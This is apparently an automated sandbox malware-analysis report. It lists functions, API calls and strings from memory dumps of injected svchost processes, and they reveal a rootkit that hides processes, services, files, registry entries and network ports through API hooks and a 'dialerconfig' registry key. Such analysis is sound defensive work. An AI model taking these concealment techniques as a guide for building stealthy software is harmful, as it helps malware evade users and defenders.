__std_exception_copy.LIBVCRUNTIME ref: 00000257E107737C

Strings

riptor at (, xrefs: 00000257E1077364
ierarchy Descriptor', xrefs: 00000257E1077381

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 5c07be2ebc4b5c2c17967540651cfe820deff558361af11c6e94b5f60bbdcb6a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 5FE086A1684F4490DF078F21FC4629873A0EB59B64F499162995C0A311FA38D1F9C300

Function 00000257E10773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E10773D8

Strings

Locator', xrefs: 00000257E10773DD
riptor at (, xrefs: 00000257E10773C0

Memory Dump Source

Source File: 00000030.00000002.3598205242.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 558cecf372c16398b9b2aefa91b5521037ba77d7552cbc05b4debd7ca50bbfaf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 65E086A1644F4490DF068F21E8421987360E759B54F889162C95C0A311EA38D1E5C300

Function 00000257E10A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1C2D
HeapAlloc.KERNEL32 ref: 00000257E10A1C3B
GetProcessHeap.KERNEL32 ref: 00000257E10A1C77
HeapFree.KERNEL32 ref: 00000257E10A1C85

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2d0e3eb43654a43f3f6b80af6b512799269a4d278d6165dc18c830e96e57c320
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F8118C25645F4882EA0ADB66F84B72973A1FB89FC2F184468DE8D47766DE38C442C304

Function 00000257E10A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A126E
HeapAlloc.KERNEL32 ref: 00000257E10A127D
GetProcessHeap.KERNEL32 ref: 00000257E10A1297
HeapAlloc.KERNEL32 ref: 00000257E10A12A8

Memory Dump Source

Source File: 00000030.00000002.3598622603.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8832b056897a9b8ba16723e3fafdb3eff0c8063a4678bd85c9cbe2902852df6c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E06535A41F0486EB09CF62EC0E74A36E1FB89F06F08C424C91907361DF7D8499CB90

Analysis Process: svchost.exePID: 732, Parent PID: 7672COMMON

Executed Functions

Function 000001F28C931268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C93126E
HeapAlloc.KERNEL32 ref: 000001F28C93127D
GetProcessHeap.KERNEL32 ref: 000001F28C931297
HeapAlloc.KERNEL32 ref: 000001F28C9312A8

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8f8718106759883864cae2a8ca865240e286cea242c12ae6e8bb01d1b0de8f1e
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F4E06DB5641E45C7EB048F62D8083AA3AE1FB8DF86F04C024C90907351DF7D8599C750

Function 000001F28C93328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F28C9332AE
PathFindFileNameW.SHLWAPI ref: 000001F28C9332BD

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Part of subcall function 000001F28C933790: GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C933809
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

CreateThread.KERNEL32 ref: 000001F28C93330B

Part of subcall function 000001F28C931D14: GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b4d9601b441b195fc890c788491207d0644a6a96c7f54882ecefb715d9f87218
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: B7118471AD0EC382FB60A731F8053F922D4B7543C5F98A1BCD90E87995EF79C0458200

Function 000001F28C931ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F28C931628: GetProcessHeap.KERNEL32 ref: 000001F28C931633
Part of subcall function 000001F28C931628: HeapAlloc.KERNEL32 ref: 000001F28C931642
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931734
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93176F
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA

Sleep.KERNEL32 ref: 000001F28C931AD7
SleepEx.KERNEL32 ref: 000001F28C931ADD

Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931820
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93185B
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931896
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b67c1932e62b7ac0013a9a1692b6bd7ceba26b73bf7a76d8ab9135420b3866fa
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 81316871281EC292EB509B36DA512F963F5AB84BD4F0C74B1DE09876BAFF34C851C211

Function 000001F28C933844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Strings

dialer, xrefs: 000001F28C933855

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 35bd7b7e84aeabd97046de9deeb150375f1cc12c8c169a2c29cf3a1cf66da4a6
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 3ED05E71391A8786FB149FA688C46B06390AB047C4F8C90B4CE0403550DB38C98E9610

Function 000001F28C1D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F28C1D285E

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f44ca3bbc8084d92389e86a6591f077caaf6d236089e246760dd531db40c924a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: C761A172B41AA287DB988F1590807B97BD2F754BD4F588135DF6907788DB38ECA2C700

Function 000001F28C93CA0C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001F28C93CA4A

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction ID: 37f6b4a35d52c06492a2f816035ee87f2c0b4da3a164c87f2d500a2a78e06805
Opcode Fuzzy Hash: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction Fuzzy Hash: 9CF085703A1EC385FA64A7B258113F612C04B88BE0F0CA3F0ED2AC72C2DB3C84808620

Non-executed Functions

Function 000001F28C937D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F28C937DAC
RtlCaptureContext.NTDLL ref: 000001F28C937DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F28C937DF3
RtlVirtualUnwind.NTDLL ref: 000001F28C937E34
IsDebuggerPresent.KERNEL32 ref: 000001F28C937E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EB4

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 315950f2970cd4e23eb0bb7edb8b7cf3ceedc3dc3316b9e43c8c6da18fa3bab3
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C2313B72245FC19AEB609F60E8807FD73A5F784788F48446ADA4E57B98EF38C648C710

Function 000001F28C93D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F28C93D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F28C93D335
RtlVirtualUnwind.NTDLL ref: 000001F28C93D370
IsDebuggerPresent.KERNEL32 ref: 000001F28C93D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3BE

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: de600b675c99b63b07bfc61b3ea15e563d1fd6e5409b2fafadfe2c025ff4e9af
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B7316672254FC196EB608B25E8803FE73A4F789798F540166EA9D43BA8EF38C545CB00

Function 000001F28C931628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931633
HeapAlloc.KERNEL32 ref: 000001F28C931642

Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C93126E
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C93127D
Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C931297
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C9312A8

RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
RegCloseKey.ADVAPI32 ref: 000001F28C931734
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
RegCloseKey.ADVAPI32 ref: 000001F28C93176F
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA
RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
RegCloseKey.ADVAPI32 ref: 000001F28C931820
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
RegCloseKey.ADVAPI32 ref: 000001F28C93185B
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
RegCloseKey.ADVAPI32 ref: 000001F28C931896
RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Part of subcall function 000001F28C9312BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C931327
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C931338
Part of subcall function 000001F28C9312BC: RegEnumValueW.ADVAPI32 ref: 000001F28C931397
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C9313ED
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93140A
Part of subcall function 000001F28C9312BC: HeapFree.KERNEL32 ref: 000001F28C931418
Part of subcall function 000001F28C9312BC: lstrlenW.KERNEL32 ref: 000001F28C931421
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93142F
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C93143D

Strings

startup, xrefs: 000001F28C9316D5
SOFTWARE\dialerconfig, xrefs: 000001F28C931692
process_names, xrefs: 000001F28C93174D
service_names, xrefs: 000001F28C9317C3
udp, xrefs: 000001F28C931874
paths, xrefs: 000001F28C931788
tcp_remote, xrefs: 000001F28C931839
tcp_local, xrefs: 000001F28C9317FE
pid, xrefs: 000001F28C931712

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c2eb12f427962f4a473e0d6cdd6568ad5d847194dadf60defaa1d10753933b52
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A871D676250E92C6EB209F76E8906F923E4FB84BCDF046161DE4E57A69EF38C444C744

Function 000001F28C9312BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
GetProcessHeap.KERNEL32 ref: 000001F28C931327
HeapAlloc.KERNEL32 ref: 000001F28C931338
RegEnumValueW.ADVAPI32 ref: 000001F28C931397

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
HeapAlloc.KERNEL32 ref: 000001F28C9313ED
GetProcessHeap.KERNEL32 ref: 000001F28C93140A
HeapFree.KERNEL32 ref: 000001F28C931418
lstrlenW.KERNEL32 ref: 000001F28C931421
GetProcessHeap.KERNEL32 ref: 000001F28C93142F
HeapAlloc.KERNEL32 ref: 000001F28C93143D
StrCpyW.SHLWAPI ref: 000001F28C93145F
GetProcessHeap.KERNEL32 ref: 000001F28C931476
HeapFree.KERNEL32 ref: 000001F28C931484

Strings

d, xrefs: 000001F28C93135A

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 18f95a425c74309a6456fd4bbe7ec78cd519c13267e7c4c7f8ddd63764443e45
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 8E512676244F85C6EB54CF62E5483BAB7E1F789BD9F048134DA4A07B68EF38C1498B00

Function 000001F28C931D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Part of subcall function 000001F28C931FD4: GetModuleHandleA.KERNEL32 ref: 000001F28C931FEC
Part of subcall function 000001F28C931FD4: GetProcAddress.KERNEL32 ref: 000001F28C931FFD

Part of subcall function 000001F28C935B30: GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B

Strings

sechost.dll, xrefs: 000001F28C931E39
NtEnumerateValueKey, xrefs: 000001F28C931DD6
NtEnumerateKey, xrefs: 000001F28C931DB9
ntdll.dll, xrefs: 000001F28C931D2D
NtQueryDirectoryFile, xrefs: 000001F28C931D7F
NtDeviceIoControlFile, xrefs: 000001F28C931E56
EnumServicesStatusExW, xrefs: 000001F28C931E11, 000001F28C931E32
NtQueryDirectoryFileEx, xrefs: 000001F28C931D9C
EnumServiceGroupW, xrefs: 000001F28C931DF0
NtResumeThread, xrefs: 000001F28C931D62
advapi32.dll, xrefs: 000001F28C931DF7, 000001F28C931E18
NtQuerySystemInformation, xrefs: 000001F28C931D45

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9487c6cd3bd73dd193c882a9535ab93ec09423b9485fe8c9d985bb2c2d5cc9fb
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A3318F79280ECBA1EA05EBB5EC616F463A4F7043C4F88A0F3E85953576AF388259C350

Function 000001F28C1D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C1D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C1D698A
_RTC_Initialize.LIBCMT ref: 000001F28C1D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C1D69DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C1D6A09

Strings

`dynamic initializer for ', xrefs: 000001F28C1D69C7
`eh vector vbase copy constructor iterator', xrefs: 000001F28C1D69EE
scriptor', xrefs: 000001F28C1D6B39, 000001F28C1D6BB2, 000001F28C1D6BEC
`eh vector copy constructor iterator', xrefs: 000001F28C1D6A3B

Memory Dump Source

Source File: 00000031.00000002.3593423408.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3ae14674ec2a8346f3f84ed9e0c01df585913646f7da2965e941060b61735599
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F581F0717C0E038AFA54DB66A4C03F96ED0AB85BC0F448935FB498379ADB38E8458700

Function 000001F28C93CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F28C93CE37
FlsGetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE4C
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE6D
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE9A
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEAB
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEBC
SetLastError.KERNEL32 ref: 000001F28C93CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F28C93ECCC,?,?,?,?,000001F28C93BF9F,?,?,?,?,?,000001F28C937AB0), ref: 000001F28C93CF2C

Part of subcall function 000001F28C93D6CC: HeapAlloc.KERNEL32 ref: 000001F28C93D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF54

Part of subcall function 000001F28C93D744: HeapFree.KERNEL32 ref: 000001F28C93D75A
Part of subcall function 000001F28C93D744: GetLastError.KERNEL32 ref: 000001F28C93D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF76

Memory Dump Source

Source File: 00000031.00000002.3597551720.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c1dccc9a58c3acbe364e99b3de5aaac7dedc88dfaa24f6078136831367b18d4b
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 274149713C1EC782FA68A73159553FA22C25B84BF4F2C27B4E836076E6EF3998018200

Function 000001F28C932244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F28C932259
GetCurrentProcessId.KERNEL32 ref: 000001F28C932263

Part of subcall function 000001F28C931934: OpenProcess.KERNEL32 ref: 000001F28C931952
Part of subcall function 000001F28C931934: IsWow64Process.KERNEL32 ref: 000001F28C931968
Part of subcall function 000001F28C931934: CloseHandle.KERNEL32 ref: 000001F28C931983

CreateFileW.KERNEL32 ref: 000001F28C9322BC
WriteFile.KERNEL32 ref: 000001F28C9322E4
ReadFile.KERNEL32 ref: 000001F28C932303
CloseHandle.KERNEL32 ref: 000001F28C93230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001F28C932293
\\.\pipe\dialerchildproc64, xrefs: 000001F28C93228C

Memory Dump Source

